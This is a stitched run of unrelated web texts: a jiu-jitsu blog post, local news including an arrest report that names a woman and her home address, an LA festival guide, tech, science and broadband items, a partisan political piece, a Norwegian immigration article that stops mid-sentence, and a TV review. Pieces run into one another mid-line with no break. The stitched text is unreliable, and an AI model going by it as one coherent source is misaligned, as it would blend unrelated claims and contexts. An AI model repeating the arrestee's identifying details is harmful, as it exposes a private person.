A choke that you know well and can perform at a higher level compared to your other techniques is worth two (well way more than two) in a book. In this day of BJJ and the internet, one of the biggest mistakes is for students to perpetually switch from learning different techniques and never mastering any of them. This style of learning is a mistake, and a common one.
Now for the original meaning of the phrase. This phrase comes from medieval falconry. The bird in your hand is your trained falcon, this falcon hunts other birds for you. The skills and tools you posses are worth way more than the rewards of a days work. Your skills, on the mat, at work, with people… falconry 🙂 are important to your successes. Spend time collecting powerful skills, not an overflow of knowledge you can’t use.
What are your thoughts? Modern meaning or original? BJJ related or off the mat?
ByronPolice departments are trying all kinds of new ways to connect with their communities and build trust. A Seattle officer found that a great way to do that is to roll out something his department hasn't used in decades.
“I don’t get this kind of attention when I’m in my Crown Victoria,” said SPD Officer Jim Ritter, while cruising through Pioneer Square in a 1970 Plymouth Satellite. Onlookers snapped photos as he drove past in the vintage police car.
Ritter runs the Seattle Metropolitan Police Museum, which restores and maintains a collection of more than two dozen vintage police vehicles.
“They are a real community policing tool, and I would not have realized that until I started taking our Satellite out in downtown Seattle and seeing all the people that were drawn to this car,” Ritter said.
Sometimes, when the weather is nice, Ritter will take the Satellite for a spin around town, and just chat with people who are curious about the relic.
Photos: Vintage cop cars
Vintage cop cars help police connect with community <p>Police museum garage.</p> <p>Old police radios.</p> <p>Police museum garage.</p> <p>Seattle Police Department Dodge Dart. Photo: Jim Ritter.</p> <p>Cars at the Seattle Metropolitan Police Museum Garage.</p> <p>Photo: Jim Ritter.</p> <p>Children pose with a 1970 SPD Plymouth Satellite.</p> <p>Photo: Jim Ritter.</p> <p>Seattle Metropolitan Police Museum garage in Ellensburg</p> <p>1970 SPD Plymouth Satellite and 1978 WSP Plymouth Fury. Photo: Jim Ritter.</p> <p>Cars at the police museum.</p> <p>1979 SPD Dodge Aspen Traffic Enforcement vehicle. Photo: Jim Ritter.</p> <p>1984 Washington State Patrol Ford Mustang.</p> <p>Cars at the police museum.</p> <p>1949 Washington State Patrol Ford V-8 Sedan.</p> <p>1970 SPD Plymouth Satellite.</p> <p>Photo: Jim Ritter.</p> <p>Photo: Jim Ritter.</p>
The police museum does much of the restoration in a large garage in Ellensburg, where volunteers gather to work on the fleet.
“One of the reasons it's in Ellensburg is the climate is dry, and it's much more affordable to be having large buildings than it would be in downtown Seattle,” Ritter said.
Many of the volunteers are current or former law enforcement officers, who love reconnecting with police history.
“It’s amazing these things become a part of you. You drive one eight hours, 10 hours, 12 hours a day, and you kind of depend on that car,” said Marlin Workman, a 38-year veteran of the Washington State Patrol.
Copyright 2016 KINGHere we go again.
The Cleveland Browns have asked the New England Patriots for permission to interview offensive coordinator Josh McDaniels for their vacant head coaching position.
The Browns fired Rob Chudzinski yesterday night after finishing 4-12 in his first season as head coach, which opened up the position.
I think it's a no-brainer for McDaniels to accept a contract if the Browns choose to offer one. Cleveland has a lot of talent on offense and probably would've had a much more successful season had it not been for their shaky quarterback position. Not to mention the reports that said no player on offense really trusted Chudzinski.
Even though McDaniels wasn't completely successful in his last stint as a head coach with Denver, he did put together many of the pieces that helped the Broncos become what they are today, including wide receivers Demaryius Thomas and Eric Decker.
In Cleveland, McDaniels would have one of the best wide receiver in the NFL, Josh Gordon, and a myriad of first round draft picks in the coming years.
If McDaniels does leave, it's likely that coaching assistant Brian Daboll would take over as offensive coordinator next season for the Patriots.
Follow @KevinOConnorNBACynthia Ann Frierson, 36, of 511 E. 11th St., was charged with disrupting funeral or memorial service, public intoxication, driving on revoked/suspended license, immediate notice of accident and unlawful drug paraphernalia.
A Columbia woman was arrested on Monday after she allegedly tried to remove a body from a casket during a funeral service.
Cynthia Ann Frierson, 36, of 511 E. 11th St., was charged with disrupting funeral or memorial service, public intoxication, driving on revoked/suspended license, immediate notice of accident and unlawful drug paraphernalia.
Officers responded to two calls regarding hit and runs of parked vehicles Monday afternoon, according to a Columbia Police Department report.
A red pickup truck, driven by Frierson, allegedly sideswiped vehicles parked in front of houses on South Glade Street and East 10th Street, according to the report.
While police were speaking with the owner of the vehicle in the East 10th Street incident, they received a call from dispatch saying Frierson was causing a disturbance at Roundtree-Napier-Ogilvie Funeral Home.
At the funeral home, located at 126 E. 8th St., officers spoke with a witness, who said “Frierson showed up at the funeral home as they were actively having a funeral and walked up to the open casket.” She allegedly “then began grabbing at the body inside of the casket and at one point attempted to get the body out of the casket,” the report stated.
Funeral attendees were angry and asked Frierson to leave, the witness allegedly told police.
The witness said “Frierson then refused to leave, and approximately six people had to pull her away from the casket and take her outside,” the report stated.
Police then spoke with Frierson, who was outside the funeral home. She allegedly smelled of alcohol and her speech was slurred, according to the report.
Officer Landen Barber wrote in his incident report that he asked Frierson if she drove to the funeral home and she allegedly answered that she did not.
In addition to charges related to the vehicle accidents and public intoxication, Frierson was charged with “disorderly conduct at funerals, due to her grabbing the body inside of the casket, which was offensive to the sensibilities of an ordinary person,” Barber wrote.
En route to the Maury County Jail, police read Frierson her rights and allegedly asked questions about the truck she was driving.
“At one point, she did state that she drove a friend to the store in a red truck and then immediately tried to change the story and say that she wasn’t actually the person driving,” according to the report. “It was her friend, but she could not tell me her friend’s name.”
When officers arrived with Frierson at the jail, Barber wrote, he noticed she was holding a piece of toilet paper and a lighter.
He said he asked her what she had in her hand and she allegedly said “it was just a lighter.”
Barber allegedly attempted to open her hand, but she pulled away. He then escorted her into the booking area, where other officers were present.
Inside booking, he said, he “observed Frierson place the lighter that she had in her hand on the counter and slide the piece of toilet paper back into her right pants pocket.
“While Frierson was speaking with booking staff, I looked into (her) right pocket to see what she had in the toilet paper, and I could see a clear glass pipe inside of the paper, so I grabbed it out of Frierson’s pocket,” Barber wrote.
She was then searched by booking staff. Nothing else illegal was found, according to the report.
“Due to Frierson being in possession of the glass pipe with black residue inside of it that I know to be used to smoke ‘crack’ cocaine, she was charged with possession of unlawful drug paraphernalia,” Barber wrote.
She remained in the Maury County Jail on Tuesday in lieu of a $6,500 bond.
A representative from Roundtree-Napier-Ogilvie told The Daily Herald that funeral home staff is not commenting on the incident on advice from an attorney.You will need to verify this is your email address. We will send you an email with a verification link. If you do not click on the link, your account will be deactivated.
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Thanks to consistently nice weather, beautiful views, and friendly residents from all around the globe, there is definitely no shortage of street festivals in Los Angeles. A melting pot of different cultures and diverse communities, it’s easy to become overwhelmed with the city’s numerous neighborhood festivals. Even though there are popular events that everyone talks about throughout the year, we wanted to focus on the smaller, more neighborhood-centric festivals. Although smaller in scale, you can still enjoy the perks that a larger festival would offer such as music, dancing, fun activities, and delicious eats. However, you also get the chance to celebrate the neighborhood’s ancestry, identity, and tradition. Below you will find our guide to LA’s most memorable street festivals from now until December.
Courtesy of Visit Santa Clarita May 11-12: BBQ and Beer Festival This year marks the third annual BBQ and Beer Festival, a two-day event featuring live entertainment, barbecue, handcrafted beers from local breweries, and a kid zone. All the fun is happening at Central Park in Santa Clarita. Ticket prices vary from $10 for general admission to $60 for the Ultimate Craft Beer Sampling Experience. Kids 12 and under are free on Saturday.
Courtesy of Jill Fitzpatrick / Twitter May 16: EEEEEATSCON Food Festival Like a music festival for food, EEEEEATSCON is a one-day food experience unlike any other. This event features carefully selected local restaurants as well as eclectic imports from across the country, serving food you won’t come across every day. With live music and panels featuring industry pioneers, head to Santa Monica for a celebration of good food that brings communities together. There will be vegan, vegetarian, and gluten-free options. General admission is $30 and parking is an additional $10.
Courtesy of SoRo Festival June 3: SoRo Festival Snuggled between Beverlywood and Cheviot Hills, South Robertson Community Festival features live music, hundreds of vendors highlighting neighborhood businesses, a beer and wine garden, gourmet food, a car show, and a new pet lovers area. The Kids Zone also has attractions, such as a rock-climbing wall, ferris wheel, arcade games, and free arts and crafts. Admission is free.
La Pride Festival June 9-10: LA Pride Festival Christopher Street West (CSW) has been an active voice in the LGBTQ+ community across the Greater Los Angeles metropolitan area, and every June in the City of West Hollywood, they kick off the LA Pride Parade and Festival. This year, the Park Stage headliners feature R&B star Kehlani and international pop singer Tove Lo. General admission tickets are $25 for a single day and $35 for the weekend. Backstage passes are $250 for a single day and $400 for the weekend.
Photo courtesy of the Chalk Festival June 16-17: Pasadena Chalk Street Painting Festival Head over to Pasadena and watch as hundreds of Madonnari (Italian for street painter) create spectacular pavement artwork and murals with lots of chalk. All proceeds go to the Light Bringer Project, a nonprofit for arts and learning programs. Admission is free and the event is open to all ages.
Courtesy of Main Street Santa Monica June 24: Main Street Summer SOULstice Main Street in Santa Monica will host its 18th Annual Summer SOULstice Festival featuring 18 bands on 5 stages alongside local vendors showcasing Main Street businesses. Enjoy two beer and wine gardens or head over to the activity areas for kids and pets. Admission is free for the whole family.
Photo courtesy of LA Taco Festival August 18: LA Taco Festival This festival has become so popular throughout the years that it’s outgrown its previous location in Boyle Heights. Now it takes place in DTLA. Enjoy LA’s best tacos while contributing to Jovenes, Inc., a nonprofit dedicated to fighting youth homelessness. Admission is free and all donations go towards the organization.
Courtesy of August 18: Taste of Brews Help Long Beach celebrate craft beer with its 8th annual Taste of Brews festival! Enjoy oceanfront views at Shoreline Aquatic Park (as known as Lighthouse Park) while you enjoy dozens of microbrews, hard ciders, live music, and Southern California’s best mobile restaurants. Tickets vary from $24 to $34 and are limited to ensure shorter lines and quality beer tasting.
Los Angeles County Fair / Shutterstock August 31-September 23: LA County Fair Head on over to the Fairplex in Pomona for the LA County Fair, and enjoy tons of food options, award-winning beer and wine, carnival rides, cooking demonstrations, and live entertainment on multiple stages. The fair is closed Mondays and Tuesdays, except Labor Day, September 3. Admission prices vary from $8 to $20, and parking prices vary from $15 to $60.
Photo courtesy of LATF USA September 29-30: Mid-Autumn Moon Festival Also called Zhongqiu Festival, this historical harvest festival is celebrated every year in Chinatown. This festival honors Chinese culture and traditions with activities, live musical performances, and interactive cooking demos. The Griffith Observatory will also provide telescopes for those interested in looking at the Harvest Moon. Admission is free.
Photo by Republic of Korea / CC BY-SA October 4-7: LA Korean Festival Los Angeles has one of the largest Koreatowns in the nation, so it’s no surprise that the annual Korean festival is a big deal. The event will feature food booths, local vendors, K-pop music, food samples, and arts and crafts that reflect LA’s Korean-American culture. Admission is free.
Courtesy of Southpark.la October 31: Halloween Festival for DTLA Kids Families living in Downtown Los Angeles can celebrate Halloween at the 11th Annual Halloween Festival in Grant Hope Park. Kids can enjoy face painters, bounce houses, puppet shows, trick-or-treating, and arts and crafts. Tickets are $7 and include drinks, candy, and other treats. Children under two-years-old are free.
Photo by Jeremy Miles / CC BY-SA December 31: NYE Celebration There are always fun events going on in Marina Del Rey, but its annual New Year’s Eve festival is one of the most popular in LA. This event is perfect for picnicking, peaceful seaside views, and, of course, fireworks! Admission is free, but parking for the day is $8.Nikola Tesla pioneered the transmission of electricity over wires. Heinrich Hertz proved it could be transmitted wirelessly. But we still use 19th centre technology to power 21st century devices.
Nikola Labs — which pitched today on stage after being selected by TechCrunch editorial team and the audience as the Wild Card choice from Startup Alley — launched a device that converts radio frequencies into DC power, and, they claim, can therefore power devices.
Today they launched their first product using the technology: a case for an iPhone 6. It converts the wasted 90 percent of energy the phone produces trying to pump out a cellphone signal, and puts it back into the phone, thus powering it for up to 30 percent longer.
[gallery ids="1153782,1153781,1153780,1153779,1153778"]
Note: This is not an extra battery; it simply works passively. Essentially it is harvesting back the ambient RF energy already being produced by the phone.
They aim to bring the product to market within one year, in partnership with Ohio State University, where the technology was originally developed, and from there they have licensed the technology and patents.
They could also put this into many different devices, such as wearable technology, embedded sensors, medical devices and Internet of Things devices — anything that doesn’t require massive amounts of electricity.
It will be launching on Kickstarter in one month for $99, and they hope to ship it inside the following four months.
Appropriately, Nikola Labs launched its product in the very building Tesla himself lived and eventually died in.The US Department of Agriculture produces a map for gardeners based on the average of low temperature readings taken from weather stations throughout the United States. The idea is to give the garden industry a way to communicate the cold hardiness of landscape plants. That is why the tag of a holly or any other landscape plant often says “hardy to zone __.” Of course, the map also provides vegetable and herb gardeners like you with a rough guide to the extent of cold where you live. Many of our perennial flowers and herbs are hardy as far north as zones 3 or 4. Cool-season vegetables, most of which tolerate or even like a little frost, will grow well in zones 7 and southward in the fall. This is roughly where we distribute transplants to your local garden center at the proper time for planting. See below to find your gardening zone.Are you an AT&T residential broadband customer in the United States, grumbling over the inauguration of 150GB bandwidth caps for your pokey DSL connection? Or maybe you're a Canadian—bitter over the low ceiling caps imposed by Rogers Cable and other ISPs, not to mention the likely expansion of metered billing packages down the line?
If you've had the vague sense that the Internet in North America is moving back toward scarcity rather than forward to abundance, we've got a solution for you. Move to Lithuania. TEO LT, Lithuania's top telecommunications service, says that in two weeks the company will boost the speed of its ZEBRA Fiber-to-the-Home ISP service "premium" plan to up to 300Mbps for downloads.
The "basic" plan's speed will double—from 20 to 40Mbps; the "optimal" plan will go from 80 to 100Mbps.
Oh, and by the way: "TEO will increase the Internet speed for residential customers without any additional fees."
Up from 100Mbps
These speed hikes apply to throughput rates that were already not too shabby. Only a year earlier, TEO jumpstarted its speeds in some cases by a factor of four—to 100Mbps upload and 80Mbps downloads for its premium plan, and up to 20/5Mbps for its basic package. Now it's making the network even faster.
Here are the current plans and how they'll increase in speed by May 16. Older plans featured reduced speeds when accessing content beyond Lithuania; many of those restrictions appear to be going away.
You'll notice that these rate plans all include the dreaded "up to" codicil. As everybody knows, there's a notorious gap between advertised "up to" and actual broadband speeds. The United Kingdom's Ofcom regulatory agency pays particular attention to this problem, which is quite pronounced when it comes to DSL services.
But if the Ookla broadband testing service's data is to be believed, Eastern Europe leads the way in terms of the percentage of advertised throughput rates that Lithuanians and their neighbors actually get (it looks like Moldovians get even more!):
Republic of Moldova, 109.21% Russia, 98.65% Slovakia, 98.64% Lithuania, 97.97% Ukraine, 97.58% Hungary, 96.80% Switzerland, 96.72% Bulgaria, 95.96% Latvia, 94.83% Norway, 93.97%
According to the Fiber to the Home Council Europe, Lithuania is already the front runner when it comes to deployment of FTTH networks. It tops the European list at 22.6 percent household penetration. Next comes Sweden at 13.6 percent. In absolute numbers, Russia is number one at 4.18 million fiber households, followed by Sweden (600,000) and France (486,700).
TEO's scope
TEO says its telecom network is accessible to about half of Lithuania: 570,000 households. Its next-generation services are available to most of the residents of that country's big cities: Vilnius, Klaipeda, and Kaunas. Over half of Panevėžys and Šiauliai residents can get them too.
Why are Lithuanians getting this FTTH windfall? Investment, it appears. TEO says it will plug more than LTL70 million (about US$30 million) into the fiber project by the end of this year, bringing the total investment to LTL325 million (about US$139 million) over four years.
Lithuania's neighbor Estonia, by the way, is ranked by Freedom House as among "the most wired and technologically advanced countries in the world." In 2009 more than 91 percent of its citizens filed their taxes online. Estonian identity cards facilitate widespread electronic voting for city and European Parliament elections.
"Restrictions on Internet content and communications are among the lightest in the world," Freedom House's latest report on the country notes.A new study shows that calcium carbonate in the ice absorbs CO2 from the atmosphere.
A new thesis from the Greenland Institute of Natural Resources proves sea ice to be an important transporter of greenhouses gases from the atmosphere to the depths of the ocean.
The Arctic has warmed so much over the past few decades that the amount of sea ice has been reduced by some 30 per cent in the summer, and the winter ice has become much thinner.
For this reason it’s to be expected that if the Artic sea ice shrinks, the atmosphere’s content of CO2 will also increase.
”If our results are representative of similar areas, the sea ice plays a greater role than expected and knowledge of this should be taken into account in future global CO2 budgets,” says study author Dorte Haubjerg Søgaard, PhD Fellow at the Nordic Center for Earth Evolution, University of Southern Denmark and the Greenland Insti-tute of Natural Resources, Nuuk.
Sea ice thought impenetrable
Søgaard began her study in 2010, when the sea ice in a number of fjords around Nuuk and Young Sound in north-east Greenland was examined -- and she wanted to determine the role of the sea ice in the regulation of the sea’s absorption of CO2 from the atmosphere.
It was not until recently that scientists realised that sea ice had any influence at all on the world’s CO2 balance.
”We’ve known for a long time that Earth’s oceans are able to absorb enormous volumes of CO2 but we also thought this only applied to areas of ocean not covered by ice, because sea ice was considered to be impenetrable. This is not correct, however, since new research shows that the sea ice in the Arctic regions takes large quantities of CO2 out of the atmosphere and into the sea,” says Søgaard.
An important piece CO2 absorption puzzle
It was also shown that two processes take place within the sea ice which directly influence the exchange of greenhouse gases between the sea and the atmosphere. These are chemical precipitation of calcium carbonate (CaCO3) and the activity of microorganisms in the sea ice.
Calcium carbonate is formed in the sea ice during the winter and as it forms, the greenhouse gas CO2 is separated from it and dissolved into a cold, heavy brine, which is pressed out of the ice and sinks into deeper parts of the sea.
Unlike carbon dioxide and other gases, calcium carbonate is not able to move freely and so remains in the sea ice. During the warmer summer, when the sea ice melts, the calcium carbonate reacts with CO2 from the at-mosphere and is dissolved.
”So in this way, CO2 is removed from the atmosphere,” says Søgaard.
The research project revealed that the chemical formation of calcium carbonate crystals was far more significant for the ocean’s ability to absorb CO2 than the biological processes driven primarily by ice algae and bacteria living in the sea ice.
Another important discovery is that flower-like ice formations (frost flowers) form on the surface of newly formed sea ice. Søgaard has shown that these frost flowers contain extremely high concentrations of calcium carbonate, which may be of considerable importance to the potential absorption of CO2 in the Arctic regions.Image copyright Sony TV
A TV show which depicted a bizarre love story between a nine-year-old boy and an 18-year-old woman has been pulled off air following criticism that it promoted child marriage and was regressive. The BBC's Geeta Pandey in Delhi explains why the show outraged some Indians.
In a statement on Tuesday, Sony Entertainment Television said they were cancelling the controversial daily soap Pehredaar Piya Ki (Husband's Guard).
The channel did not give any reasons why it was being taken off air, but the show, launched in mid-July, had attracted a lot of negative attention right from the beginning for the "unusual" love story at its centre.
The show's troubles began when Jai Ho Foundation, a Mumbai-based non-governmental organisation, petitioned authorities, demanding "an immediate ban" on it, describing it as "indecent" and "unfit for children". It also prompted a lot of social media outrage in a country where child marriage is still rampant.
It opens with chubby-cheeked Prince Ratan Kunwar, the scion of a wealthy royal family, meeting fresh faced Diya and falling in love with her at first sight.
He follows her around, taking photographs of her and "saves" her from a cockroach. She pulls his cheeks, gives him a peck, and humours him by accepting when he proposes marriage to her.
She also saves his life when he accidently slips and his life hangs in the balance. "I'll not let any harm come to you," she proclaims.
Her promise is music to the ears of his parents who are paranoid that their evil relatives are trying to harm their son.
Image copyright Sony TV
Their paranoia is not without reason though - the palace is a place of intrigue and when the evil relatives get a chance, Ratan's mother is killed and his father is grievously injured.
On his death bed, he extracts a promise from Diya to marry his young son because "she's the only one who can protect him".
"When the first few episodes were shown, opinion was divided. Critics said the child was creepy and stalking her, others praised the show saying it showed the 18-year-old as someone who was empowered and decisive," Megha Mathur, a journalist at The Quint who sat through 15 episodes of the show, told the BBC.
"I didn't really think he was being creepy though because it came across as harmless infatuation," she added.
And that makes sense because in India, where from a very young age children are brought up with the idea that everyone must get married one day, it's normal to see little girls and boys telling parents or other family adults they like that they want to marry them when they grow up.
"But around the fifth episode, the nine-year-old started to behave like he was all grown up and I think they lost the plot," Ms Mathur says.
"A child is seen caressing, stalking and having a relationship of a sexual nature with a lady who is more than double his age... This is an indecent and obscene representation of a child for the purpose of representing sexual relationship," the Jai Ho group said in a complaint letter to India's Information and Broadcasting Minister Smriti Irani.
A petition addressed to Ms Irani on change.org gathered more than 100,000 signatures, prompting the minister to write to the Broadcasting Content Complaints Council (BCCC) to take "prompt action" against the show.
The BCCC ordered the show timings to be changed from the prime time slot of 8:30pm to 10:30pm and the show also began putting out a disclaimer saying "we do not support child marriage".
The makers of the serial also said that they were planning "an age leap" and sometime over the coming weeks, the boy prince would turn 21.
But for the critics that was not enough.
"No one really looks at disclaimers," Jai Ho Foundation president, Afroz Malik, told the BBC on Tuesday morning.
"The young couple talk about going on a honeymoon. There's talk of suhaag raat [consummation of marriage]. That's not the right depiction of a child," he said.
Unless they change the script now, he said the foundation would petition the courts.
That would no longer be necessary.010 – Making the big bucks with permaculture, part 2
This podcast is part 2 of a recorded presentation Paul gave on How to make the big bucks with permaculture in Missoula, Montana. The main topic is farm income.
He continues by giving examples of people who will pay money to work on a farm. Mary Jane Butters' farm has people who pay to work on her farm. Her farm is in Moscow Idaho. Paul likes her model. People pay lots of money for a learning experience but Paul thinks he can do it better. Paul's campaign will be through his website.
Paul thinks that a persons health can be improved by eating healthy Polyculture food. He moves on to discuss the movie Broken Limbs. The movie discusses how the apple industry is grim. Halfway through the movie the guy who owns the orchard sells his apples at ten times the price they got previously. By selling apples on the internet they can get a higher price. They developed a program called the apple of the week. Paul plans to go visit a farmer from the movie.
Paul explains how orchards are a mono crop, not permaculture or Polyculture. Paul takes a few questions from the audience. He then explains how diversity is important when growing fruit trees. Paul discusses a farm where they charge $4,000 per ham, how feeding pigs on acorns can generate a great deal of cash. These pigs are being raised in France. Paul thinks that pigs could be sold for similar prices here in the United States. Paul discusses how marketing is important but how limiting the number of hogs can increase your price.
Paul even mentions how vegan ethics can be applied to growing animals. Paul feels that we still do not know enough about growing healthy food. Mono cultures are not growing as healthy as poly culture grown food. He explains how mono cultures kill many types of wildlife. Paul concludes part two of three discussing different options for creating polycultures.
Credit: Kevin Murphy
You can discuss this podcast on this thread at Permies.
Get all of the podcasts in convenient, giant zip filesBY: Follow @DavidRutz
Vice President Joe Biden can't keep his hands to himself when women are around.
The latest woman to fall into the Biden snare was Stephanie Carter, wife of new Defense Secretary Ashton Carter. Biden laid hands on her shoulders and whispered in her ear as Carter spoke about his new job Tuesday, and the moment went viral. Biden also made bad headlines for himself in January when, during a day of trying to charm incoming members of the U.S. Senate and their families, he bestowed a rather unwanted kiss on the head of Sen. Christopher Coons' (D., Del.) daughter.
The Washington Examiner‘s Byron York pointed out other examples of Biden getting too close and personal with various women during his time as President Obama's No. 2. For the entirety of the administration, his numerous odd moments have been chalked up to "Biden being Biden" by the press, but more reporters are starting to take notice after this latest incident.
The Washington Post‘s Nia-Malika Henderson writes:
These personality quirks have typically been viewed as part of his charm and political strength. But the recent display does, as York and others suggest, raise the specter of sexism. The right has suggested that if Biden were a Republican, the press would be much harder on him. I'm not so sure that's the case. He is given a pass because he is from a different time. There are plenty of older male politicians whose frame of reference in greeting the opposite gender is far too 1960s rather than 2010s; almost none of them are on-camera nearly as much as Biden is. But as a man who prides himself on his work on women's issues, Biden might heed his own advice. He said that attitudes are changing about what "constitutes appropriate behavior." That should probably apply to Joe Biden's interactions with women too.
Even MSNBC contributors like Henderson are sitting up and taking notice, and she makes a good point about Biden following his own rhetoric about equality. The idea that Biden would be treated the same if he was a Republican is humorous though; were Joe in the Grand Old Party, the number of articles about his problematic attitudes toward the opposite sex would number in the hundreds.Share Pin 2K Shares
Resett har studert det nylig frigitte SSB-dokumentet Betydningen for demografi og makroøkonomi av innvandringen mot 2100. Rapporter var klar allerede i mai 2017, men har ligget til «vurdering» frem til 1. november.
Rapportens økonomiske kalkyler har hittil fått mest oppmerksomhet, men det er svært interessante demografiske tall som også eksplisitt diskuteres. For første gang antydes det i et SSB-dokument om demografi relatert til innvandring utover første- og andre generasjon. Tidligere har denne typen beregninger av antall etterkommere i tredje og fjerde generasjon blitt gjort av utenforstående basert på SSBs grunnlagstall. Slike uavhengige beregninger har SSB tidligere diskreditert.
Hva sier tallene?
Rapporten til Erling Holmøy og Birger Strøm starter sin diskusjon av demografien med å beregne det fremtidige folketallet i Norge i det de kaller «det hypotetiske 0-scenariet». Det tar utgangspunkt i at inn- og utvandringen er null fra og med 2016. Skulle innvandringen stoppe helt opp og det heller ikke skjer utvandring, vil folkemengden i det hypotetiske 0-alternativet passerer en topp i 2035 på vel 5,4 millioner, vel 150 000 flere enn ved inngangen til 2017, skriver SSB. Men fødselsraten er under 2 barn per kvinne så «på veien nedover passeres dagens folketall rundt 2055, og 4,3 millioner passeres i 2100.»
Men dette er et hypotetisk scenario. Ingen tror vel på null innvandring etter 2017. Det er fra SSBs Hovedalternativ (Mellomalternativet) de derfor beregner de økonomiske tallene i rapporten. SSB skriver at i «M-alternativet forutsettes fruktbarheten blant norskfødte kvinner å holde seg på 2015-nivået med et samlet periodefruktbarhetstall på 1,7.» Kvinner fra Afrika og Asia (R3) «antas å fortsette å ha noe høyere fruktbarhet enn de andre gruppene, og deres samlede periodefruktbarhetstall ligger på vel 2 etter 2030,» skriver SSB.
Den årlige innvandringen fra Afrika og Asia «ventes å falle markert i de nærmeste årene, fra 37 000 i 2016 til 28 000, når vi avrunder til hele tusen. Deretter øker R3-innvandringen jevnt til vel 42 000 i 2070, et nivå som holder seg ut dette århundret.»
Folketall og innvandrerandel i 2100
I det såkalt realistiske M-alternativet vil folkemengden i Norge vokse til 8,5 millioner rett etter 2100, noe som er nær dobbelt så mange som i et scenario hvor uten videre inn- og utvandring. Som Holmøy og Strøm skriver: «Noen få år etter 2100 vil altså bidraget til befolkningsvekst fra netto inn
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he threw punches—but not the fatal one; an associate took care of that for him with a blunt object—in a mob-entangled skirmish that wound up killing a surly radio promoter.
It's not this first death in Vinyl that yields the epiphany, but the first death—the one that took place years before on an unforgiving strip of Coney Island concrete—in Richie's story. In a flashback in the second episode, we're introduced to Ernst, a smart-ass German intellectual hanging around the Factory scene with Richie and Devon. He reemerges for Richie's mid-season meltdown, serving as the mischievous devil on his shoulder when the self-destructive dreamer could really use a voice of reason instead. After a fight with Devon that breaks them beyond repair, Richie, accompanied by Ernst, inhales more cocaine than oxygen; he roves through Manhattan, a one-man tornado fueled by jealousy, regret, blind ambition and Smirnoff as he roars through meetings, roughs up Andy Warhol and makes a scene at his business partner's daughter's bat mitzvah, all the while searching for the detour that'll lead him back to the road of redemption. Eventually, Richie and Ernst make it back to Greenwich, where Richie, exhausted, says he's done: done with the coke, done with the booze, done with the hustle, all of it. Ernst responds with the perfect, blunt truth: "You try too hard. You care too much. Disengage." A Shyamalanian twist follows when it's revealed that Richie's been talking to himself the whole time, that Ernst was killed years ago when he was hurled from the convertible Richie was driving one terrible night in Coney Island, but that doesn't lessen the gravity of his words. You try too hard. You care too much. Disengage.
Macall B. Polay/HBO
Ernst may as well have been looking directly into the camera, as that's been the secret to enjoying Vinyl all along. Before this excellent scene at the end of a strong episode, watching Vinyl felt like a chore, an act rooted in cultural obligation instead of enthusiasm. From its Valentine's Day premiere to last night's finale, Vinyl drew ire from critics and music fans by striving for gritty, ear-splitting authenticity and failing when it really didn't have an excuse to do so. Vinyl was created by Scorsese, Jagger, journalist Rich Cohen, and Terence Winter, the latter best known for his work as creator, producer, and writer of Boardwalk Empire. Based on the demonstrated expertise of all involved in their respective fields—Scorsese and Jagger's respective, triumphant half-centuries in film and rock; Winter and Cohen's domination of structure, suspense and strong dialogue on the page—the first season of Vinyl could've, and should've, been a flawlessly executed, thoroughly researched, and utterly grabbing epic set in one of the most colorful and exciting times in popular culture. Mick Jagger survived Altamont, for fuck's sake; whispering an anecdote or two into Winter's ear surely would've saved the script from mediocrity.
If Jagger did, in fact, share his hard-lived insight, it didn't show, and critics have been rightfully crying foul at the lack of effort that went into recreating the music scene of 1973 New York (Caryn Rose's painstaking fact-checking efforts in her reviews for Salon put the showrunners to shame; Richard Hell is the muse for one of Vinyl's key players, and he is not impressed), the dearth of originality in the plot (as our own Miles Raymer put it, the parallels between Vinyl and Mad Men run rampant, right down to the office dynamics and Richie/Don Draper comparisons) and the poorly cast portrayals of the world's most beloved rock icons, ranging from Zebedee Row's unforgivable Robert Plant impression to Noah Bean's passable Ziggy-era Bowie to Shawn Wayne Klush's sad-eyed, bloated, velour-coated Elvis.
The exceptional cast, lead by Bobby Cannavale's tortured Richie and Juno Temple as Jamie, Richie's firecracker of an A&R protege, was seemingly wasted on clichés (because of course Jamie had to fuck the lead singer of the band she was trying to sign) and glacially paced storylines with a few cringe-worthy rock star cameos thrown in to offer a sense of legitimacy, to remind you that, yes, Jagger's name is on this. (The casting of his son, James, as Kip—the smack-shooting lead singer of American Century's wonderband, the Nasty Bits—is surprisingly great.) It's hard to admire Ray Romano's near-perfect performance as Zak Yankovich, American Century's head of promotions, when he can't walk out of an interaction with Bowie with his dignity intact; the same goes for Jack Quaid, whose excellent portrayal of Clarke, a privileged Ivy League grad who's dumbfounded when he's forced to prove himself as an up-and-coming A&R rep, is overshadowed by distractingly forced bouts of shop-talk with a young Alice Cooper and no-name DJs. When a conversation between a bartender—who turns out to be CBGB's founder and proprietor, Hilly Kristal—and Richie results in the naming of the downtown rock haven in the finale, it's so groan-inducingly trite that you're offended on behalf of the establishment's memory. In short, Vinyl fell all over itself trying to make it look and sound right, to place its characters in the sightline of any person of interest that sneezed in a loud bar south of 14th Street in 1973. In doing so, it banked on the expected and watered down the rock 'n' roll in the process.
Patrick Harbron/HBO
But maybe this was the secret mission of Vinyl's first season all along, to cut down these idols for the sake of elevating Richie, Devon, and the trials and tribulations of American Century alongside them, for showing that the machine of the music industry is the sum of its parts. Truth is stranger than fiction, and Vinyl's best moments came when it stopped trying too hard. It disappointed when it came to portraying the inspiring, glamorous or exciting aspects of the music industry and the personalities it employs, but thrived in exposing the sinister mechanics of it in sensational, flame-fanning terms. It was thoroughly forensic in its tendency to unpack crushing disappointments wrought by hero worship and the debilitating pressures of standards and taste, as shown by Cannavale and Romano's chemistry as friends and business partners who "stay hungry" and rebound after each failure for the love of the music. It showed us just how easy it is to cross the brink of sanity when passion pushes you there; it's adept at decoding the language of the famous and the sacrifices it takes to learn how to speak it. Vinyl did all this in the second half of the season, but it did it in the moments stolen away on fire escapes with Jamie and Clarke, in elevators with Richie and Devon, in the bits where the industry and its creations didn't pull rank when things got a little too real in Richie's office with the door closed. It did this when the spotlight was trained on the rock star we know instead of the characters we don't just yet, when we find ourselves cheering for the Nasty Bits after they walk away from their first big gig rock stars, and we've seen everything Richie, Jamie and everyone they know had to go through in order for that to happen.
